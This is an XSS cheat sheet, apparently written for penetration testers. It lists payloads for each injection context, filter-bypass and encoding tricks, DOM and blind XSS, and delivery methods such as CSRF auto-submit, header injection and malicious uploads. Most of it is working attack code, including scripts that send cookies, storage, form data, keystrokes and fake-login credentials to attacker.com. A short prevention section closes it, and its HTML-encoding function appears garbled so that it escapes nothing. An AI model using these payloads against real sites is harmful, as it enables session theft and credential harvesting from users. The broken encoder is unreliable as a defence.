Introduction
Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to execute malicious JavaScript in victims’ browsers. This cheatsheet covers various XSS types, detection techniques, exploitation methods, and prevention strategies.
Types of XSS Vulnerabilities
Reflected XSS
- Payload is part of the request and reflected in the response
- Non-persistent, typically delivered via malicious links
- Executed immediately when user visits the malicious URL
Stored XSS
- Payload is stored on the target server (database, file system, etc.)
- Persistent, affects all users who view the infected page
- Examples: comments, user profiles, product reviews
DOM-based XSS
- Payload executes due to client-side JavaScript manipulation
- Vulnerable JavaScript modifies the DOM unsafely
- Often doesn’t involve server communication
Common XSS Contexts & Basic Payloads
HTML Context
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <!-- Basic alert -->
<script>alert('XSS')</script>
<!-- Image with onerror -->
<img src="x" onerror="alert('XSS')">
<!-- SVG-based XSS -->
<svg onload="alert('XSS')">
<!-- Body onload -->
<body onload="alert('XSS')">
<!-- Video tag -->
<video><source onerror="alert('XSS')">
<!-- Audio tag -->
<audio src=x onerror="alert('XSS')">
|
JavaScript Context
1
2
3
4
5
6
7
8
9
10
11
| // Breaking out of string context
";alert('XSS');//
// Breaking out of template literals
${alert('XSS')}
// Inside a function argument
'-alert('XSS')-'
// Breaking from comments
*/alert('XSS')/*
|
Attribute Context
1
2
3
4
5
6
7
8
| <!-- Event handler injection -->
<button onclick="'-alert('XSS')-'">Click Me</button>
<!-- Breaking out of attribute -->
" onmouseover="alert('XSS')
<!-- Closing tag and adding new tag -->
"><script>alert('XSS')</script>
|
URL Context
1
2
3
4
5
| <!-- JavaScript protocol -->
<a href="javascript:alert('XSS')">Click Me</a>
<!-- Data URL -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click Me</a>
|
CSS Context
1
2
3
4
5
6
7
8
9
| <style>
@import 'data:text/css;base64,LyogKi9ib2R5e3Zpc2liaWxpdHk6aGlkZGVufS8qICovYXtjb2xvcjpyZWR9LyogKi9ib2R5e3Zpc2liaWxpdHk6dmlzaWJsZTtmb250LXNpemU6MTVwdH0vKiAqL3h7Zm9udDoxcHQvMXB0IFwnaHR0cHM6Ly9leGFtcGxlLmNvbS94c3MuanNcJ31h';
</style>
<div style="background:url('javascript:alert(1)')">
<style>
body{font-family:'</style><script>alert(1)</script>'}
</style>
|
Advanced XSS Payloads
Filter Bypass Techniques
Mixed Case Bypass
1
| <ScRiPt>alert('XSS')</ScRiPt>
|
1
2
3
| <img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">hover me</div>
<body onload="alert('XSS')">
|
Encoding Bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <!-- HTML Encoding -->
<script>alert('XSS')</script>
<!-- URL Encoding -->
%3Cscript%3Ealert('XSS')%3C/script%3E
<!-- JavaScript Unicode Escape -->
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
<!-- Hex Encoding -->
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script>
<!-- Base64 -->
<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>
<!-- Double Encoding -->
%253Cscript%253Ealert('XSS')%253C/script%253E
|
Script Splitting / Obfuscation
1
2
3
4
5
6
7
8
9
10
11
| <!-- String splitting -->
<script>a='ale';b='rt';c='(1)';eval(a+b+c)</script>
<!-- Concatenation -->
<script>document['write']('<img src=x onerror=alert(1)>')</script>
<!-- No parentheses -->
<script>onerror=alert;throw 1</script>
<!-- No quotes -->
<script>alert`XSS`</script>
|
Character Mutations
1
2
3
4
5
6
7
| <!-- Mutations -->
<ſcript>alert(1)</ſcript>
<script/x>alert(1)</script>
<script ~~~>alert(1)</script>
<!-- Null byte (in older browsers) -->
<img src="javascript:alert('XSS')%00.jpg">
|
DOM-based XSS Payloads
1
2
3
4
5
6
7
8
9
10
11
| // location.hash exploitation
// Vulnerable code: document.write(location.hash.substring(1))
https://example.com/page.html#<img src=x onerror=alert('XSS')>
// document.referrer exploitation
// Vulnerable code: document.write(document.referrer)
<script>location='https://vulnerable.com/?'+document.cookie</script>
// localStorage exploitation
// Vulnerable code: document.write(localStorage.getItem('data'))
<script>localStorage.setItem('data', '<img src=x onerror=alert(1)>');</script>
|
XSS for Data Exfiltration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| // Cookie stealing
<script>
fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))
</script>
// Form data extraction
<script>
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', function(e) {
fetch('https://attacker.com/steal', {
method: 'POST',
body: new FormData(form)
});
});
});
</script>
// Keylogger
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?key=' + e.key);
});
</script>
// Credential harvesting via fake login form
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;">
<h2>Session Expired</h2>
<form onsubmit="fetch('https://attacker.com/creds?u='+this.username.value+'&p='+this.password.value);return false">
<input name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>
</div>
|
XSS with iframe
1
2
3
4
5
| <iframe src="javascript:alert('XSS')"></iframe>
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
<iframe onload="alert('XSS')"></iframe>
|
Blind XSS
Blind XSS occurs when payload execution happens on pages that the attacker cannot directly see, such as admin panels, logs, or support tickets.
Blind XSS Payloads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // Basic external script payload
<script src="https://attacker.com/payload.js"></script>
// Fetch-based payload
<script>
fetch('https://attacker.com/blind?url='+encodeURIComponent(location.href)+
'&cookie='+encodeURIComponent(document.cookie)+
'&localStorage='+encodeURIComponent(JSON.stringify(localStorage))+
'&sessionStorage='+encodeURIComponent(JSON.stringify(sessionStorage))+
'&html='+encodeURIComponent(document.documentElement.innerHTML.substring(0,1000)))
</script>
// Image-based payload (does not require script tags)
<img src=x onerror="this.src='https://attacker.com/blind.jpg?url='+encodeURIComponent(location.href)">
// SVG-based payload
<svg onload="fetch('https://attacker.com/blind?'+document.domain)">
|
XSS Hunter
1
| <script src="https://yoursubdomain.xss.ht"></script>
|
Blind XSS with Burp Collaborator
1
2
3
4
5
6
7
8
9
10
11
| <script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
localStorage: localStorage,
dom: document.documentElement.outerHTML.substring(0,5000)
})
})
</script>
|
Custom Self-Hosted Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // payload.js on attacker server
(function() {
var data = {
url: location.href,
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
dom: document.documentElement.innerHTML.substring(0, 5000),
userAgent: navigator.userAgent,
time: new Date().toString()
};
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
})();
|
Blind XSS Exploitation Techniques
Identify Potential Blind XSS Entry Points
- Contact/Support forms
- User profiles that admins review
- Error logs
- HTTP headers (User-Agent, Referer)
- Export/import features
- Comment sections
- Product reviews
Payload Persistence & Re-execution
1
2
3
4
5
6
7
8
9
10
11
12
| // Store in localStorage for persistence
<script>
localStorage.setItem('xss_payload', '<img src=x onerror="alert(1)">');
document.write(localStorage.getItem('xss_payload'));
</script>
// Create a service worker for persistence
<script>
if (navigator.serviceWorker) {
navigator.serviceWorker.register('https://attacker.com/sw.js');
}
</script>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| // Gather extensive information upon execution
<script>
var data = {
url: location.href,
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
html: document.documentElement.outerHTML,
screenshot: getScreenshot(), // Function to capture canvas screenshot
userAgent: navigator.userAgent,
time: new Date().toString(),
origin: document.location.origin,
referrer: document.referrer,
adminElements: checkForAdminElements(), // Function to check admin UI elements
// Network and environment information
ip: await (await fetch('https://api.ipify.org?format=json')).json(),
indexed_db: await listAllIndexedDB(),
};
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
</script>
|
XSS Delivery Methods
URL-Based Delivery
1
2
3
4
5
6
7
8
| # URL parameters
https://vulnerable.com/search?q=<script>alert('XSS')</script>
# Hash/fragment
https://vulnerable.com/#<script>alert('XSS')</script>
# Path-based (if reflected in page)
https://vulnerable.com/<script>alert('XSS')</script>
|
1
2
3
4
5
6
7
8
9
10
11
12
| <!-- Automatic form submission -->
<body onload="document.forms[0].submit()">
<form action="https://vulnerable.com/process" method="POST">
<input name="comment" value="<script>alert('XSS')</script>">
</form>
</body>
<!-- CSRF to deliver XSS -->
<form id="xss" action="https://vulnerable.com/profile/update" method="POST">
<input type="hidden" name="bio" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById("xss").submit();</script>
|
1
2
3
4
5
6
7
8
| # User-Agent header
curl -H "User-Agent: <script>alert('XSS')</script>" https://vulnerable.com
# Referer header
curl -H "Referer: <script>alert('XSS')</script>" https://vulnerable.com
# X-Forwarded-For header
curl -H "X-Forwarded-For: <script>alert('XSS')</script>" https://vulnerable.com
|
File Upload XSS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <!-- SVG file with embedded script -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS')</script>
</svg>
<!-- HTML file upload (if allowed) -->
<html>
<body>
<script>alert('XSS')</script>
</body>
</html>
<!-- XSS in file name -->
file_name_"><script>alert('XSS')</script>.jpg
<!-- XSS in metadata (EXIF) -->
exiftool -DocumentName="<script>alert('XSS')</script>" image.jpg
|
QR Code XSS Delivery
- Generate QR code containing:
https://vulnerable.com/?q=<script>alert('XSS')</script>
- Victim scans QR code
- Browser loads malicious URL
Social Engineering Delivery
- Send shortened/obfuscated URL via email/message
- Create fake login page that forwards XSS payload
- Use typosquatting domains with XSS payloads
Testing for XSS
Manual Testing Steps
- Identify input vectors (URL parameters, form fields, headers)
- Test with simple payloads:
<script>alert('XSS')</script>
- If blocked, try alternative payloads and bypass techniques
- Test different contexts (HTML, JS, attributes)
- Check for reflections in responses
- Verify execution by using
alert()
or external callbacks
- XSStrike
- OWASP ZAP
- Burp Suite (Pro) Scanner
- Nikto
- w3af
- Acunetix
Prevention & Mitigation
1
2
3
4
5
| // Server-side input validation
function validateInput(input) {
// Allow only alphanumeric and specific characters
return /^[a-zA-Z0-9\s\.,\-_]+$/.test(input);
}
|
Output Encoding
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| // Server-side HTML encoding
function htmlEncode(input) {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// JavaScript encoding
function jsEncode(input) {
return input.replace(/[^\w\s]/gi, function(c) {
return '\\u' + ('0000' + c.charCodeAt(0).toString(16)).slice(-4);
});
}
|
Content Security Policy (CSP)
1
2
| # Strong CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none';
|
1
2
| # X-XSS-Protection Header (legacy)
X-XSS-Protection: 1; mode=block
|
Framework-specific Protections
1
2
3
4
5
6
7
8
9
10
11
| // React (auto-escapes by default)
const userContent = "<script>alert('XSS')</script>";
return <div>{userContent}</div>; // Safe in React
// Angular
// Use [innerText] instead of [innerHTML]
<div [innerText]="userContent"></div>
// Vue.js
// Use v-text instead of v-html when possible
<div v-text="userContent"></div>
|
Common XSS Vulnerable Parameters
search
, q
, query
, s
redirect
, url
, next
, target
, return
, returnUrl
callback
, jsonp
, api_callback
name
, username
, user
message
, content
, comment
email
, phone
, address
title
, subject
lang
, locale
theme
, style
debug
, test
References
- OWASP XSS Prevention Cheat Sheet
- PortSwigger XSS Guide
- XSS Hunter
- PayloadsAllTheThings - XSS
- HackTricks - XSS